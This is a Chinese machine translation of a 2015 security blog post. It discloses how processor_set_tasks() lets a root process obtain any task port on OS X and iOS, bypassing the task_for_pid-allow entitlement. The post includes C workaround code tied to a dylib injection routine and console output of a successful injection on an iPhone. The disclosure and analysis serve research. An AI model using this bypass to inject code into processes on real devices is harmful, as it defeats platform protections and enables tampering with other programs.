[macOS翻译]到底谁需要 task_for_pid()...

112 阅读5分钟

本文由 简悦 SimpRead 转码, 原文地址 newosxbook.com

处理器_set_tasks()漏洞不久前在 Black...... 中以 0-day 的形式向全世界披露。

processor_set_tasks()再次出现漏洞--最后一次......?

Jonathan Levin, @Technologeeks - www.newosxbook.com/ - 08/20/15

不久前的 BlackHat 2014 上,"processor_set_tasks() "漏洞作为 0-day 暴露在世人面前。有趣的是,更准确地说,这是一个 -700 左右的日,因为 MOXiI 第 1 版(2012 年出版)第 387 页详细描述了该 API,并指出了 kernel_task 的泄漏。更有趣的是,Pedro 是 唯一一个真正注意到这一点的人*,尽管它被单独放在一个漂亮的小提示框中 :-)。我自己在进程资源管理器和 coreruption 中都用过它,所以我承认它确实很方便。

然而,Pedro 和那些发现它的人只注意到了 "大奖"--"内核任务",而用户空间是绝对不能访问它的,甚至 root 也不能访问。这样一来,他们就错过了 "亚军"--访问系统中任何其他任务的任务端口,完全规避了 task_for_pid,甚至(尤其是)在 iOS 上也是如此,因为在 iOS 上,这一规定已经执行了相当长的一段时间。

读者可能都知道,"task_for_pid() "是一个神奇的马赫陷阱,所有注入 API 都依赖于它。你需要一种方法来获取进程的任务端口,才能在其中找到乐趣(例如 thread_createmach_vm* 等)。如果你看看我的 ARM64/x86_64 注入示例,它就依赖于此,如果你没有这种能力,它就会惨遭失败。在 OS X 上,"taskgated "是传统的处理方式(当你尝试调试时,开发工具会弹出提示),从 10.11 版本开始,AMFI 似乎接管了这一工作)。在 iOS(和 10.11+)上,这需要由卑鄙的 AMFI 强制执行的 "task_for_pid-allow"。

只不过我撒了个谎,算是吧。

使用 "processor_set_tasks "可以获得系统中的任何任务端口。因此,你可以很容易地修改上述示例,使其像下面这样工作:

// Apple says you need a task_for_pid-allow entitlement,
// And I say, bullshit.



mach_port_t task_for_pid_workaround(int Pid)
{
  
  host_t        myhost = mach_host_self(); // host self is host priv if you're root anyway..
  mach_port_t   psDefault;
  mach_port_t   psDefault_control;

  task_array_t  tasks; 
  mach_msg_type_number_t numTasks;
  int i;

   thread_array_t       threads;
   thread_info_data_t   tInfo;

  kern_return_t kr;

  kr = processor_set_default(myhost, &psDefault);

  kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); 
 if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr); 
		 mach_error("host_processor_set_priv",kr); exit(1);}

  printf("So far so good\n");

  kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); 
  if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }

  for (i = 0; i < numTasks; i++)
        {
                int pid;
                pid_for_task(tasks[i], &pid);
                printf("TASK %d PID :%d\n", i,pid);
                if (pid == Pid) return (tasks[i]);
        }

   return (MACH_PORT_NULL);
} // end workaround



int inject(pid_t pid, const char *lib) {

task_t remoteTask;

 kr = task_for_pid(mach_task_self(), pid, &remoteTask);
...
if (kr != KERN_SUCCESS) {

        fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue! Or... Can We?\n",pid, 
mach_error_string(kr));

        // Edit : calling workaround

        remoteTask = task_for_pid_workaround(pid);
        if (remoteTask == MACH_PORT_NULL) 
        {
                fprintf(stderr, "Workaround isn't working. Bravo, 25+ years later, it's been patched\n");
                exit(5);
        }

}


...

输出结果如下

# Note: WE STILL NEED ROOT ACCESS here - but no entitlements
Phontifex:/tmp root#  jtool --ent /tmp/inject2.arm 
Binary apparently does not contain any entitlements
Phontifex:/tmp root# /tmp/inject2.arm 829 /tmp/test.arm64.dylib 
Unable to call task_for_pid on pid 829: (os/kern) failure). Cannot continue! Or... Can We?
So far so good
TASK 0 PID :1   # Note no kernel_task, this is iOS
..              # ... but some 160 perfectly (ab)usable task ports
TASK 161 PID :829 # Bingo!
# Business as usual from here :-)
Allocated remote stack @0x1001b8000
Pthread exit  @198a0324c, 198a0324c
Pthread set self @198a02a9c
Pthread exit  @198a0324c, 198a0324c
DLOpen @19884db50
Remote Stack 64  0x100238000, Remote code is 0x1002b8000
# Note this is iOS 8.4
Phontifex:/tmp root# uname -a
Darwin Phontifex 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015; 
root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin

所以,AMFI、shmamfi - 它可以工作。不过,它在 OS X 10.10.x 上运行得很好,但 10.11 之前的版本并不强制执行权限,因此会使用 vanilla task_for_pid() - 阻力最小的方法。

为什么会这样?

因为马赫 API 并不区分任务端口提供的无害信息(例如非常有用的 task_info 信息)和非常非常讨厌的信息(例如 mach_vm_* 和朋友们)。这是马赫的设计缺陷(众多缺陷之一),马赫在设计之初就考虑到了大量的功能,但是,25 年前,谁考虑过这些注入的东西呢?

值得重申的是: 如果你能说服某人或某物将某个进程的任务端口(或内核,PID 0)交给你,那么它就是你的了。只需找到这些端口漏洞即可。也许还有一两个。你永远不知道这些事情。

你为什么要撒谎?

我没有揭露 0 日的习惯,不是为了 15 分钟的名声,也不是为了什么赏金。但现在,这个 0 日终于要死了(至少,在 9/10.11 时肯定会死)。苹果公司 终于 到了这一点,并在 10.11 中为 OS X 带来了 task_for_pid-allow 权限(sigh)。就在我写这篇文章的时候,他们还在对 processor_set_tasks进行修补,在 b7(今天发布)中已经返回了 less** tasks,所以我只能假设它也会在 iOS 9 10 中得到适当修补(grin)。如果是这样的话......好吧......如果 TaiG 没有过早毁掉它们的话,还有几张王牌可以使用。

我已经说过很多次了,我还要再说一遍: 我反对利用安全漏洞,但我会尽我所能帮助 iOS 保持可越狱状态。如果有一天它不能越狱了,不管是别人还是我自己,我都会转用安卓系统(痛苦地)。

问候

  • 佩德罗 (@OSXreverser) - 还在等你找到书中另一个有点明显的 0-day。但现在,请等待第 2 版--到时 会有更多内容揭晓:-)

像往常一样,欢迎提出问题/评论,但请通过 论坛


* - On second thought, it's not that funny. It just shows how few people apparently read my work in detail. Sheesh.

** - note, "returns less" != "doesn't return any". AAPL uses a new MAC call - expose_task, on processor_set_things and mach_port_space_info (q.v. here) and there's the entitlement of com.apple.system-task-ports which filters. But may I suggest slapping a new entitlement (not just "system" tasks), or really fixing it, by separating task_priv already? And no, I don't mean the task name port. Split the functionality properly!)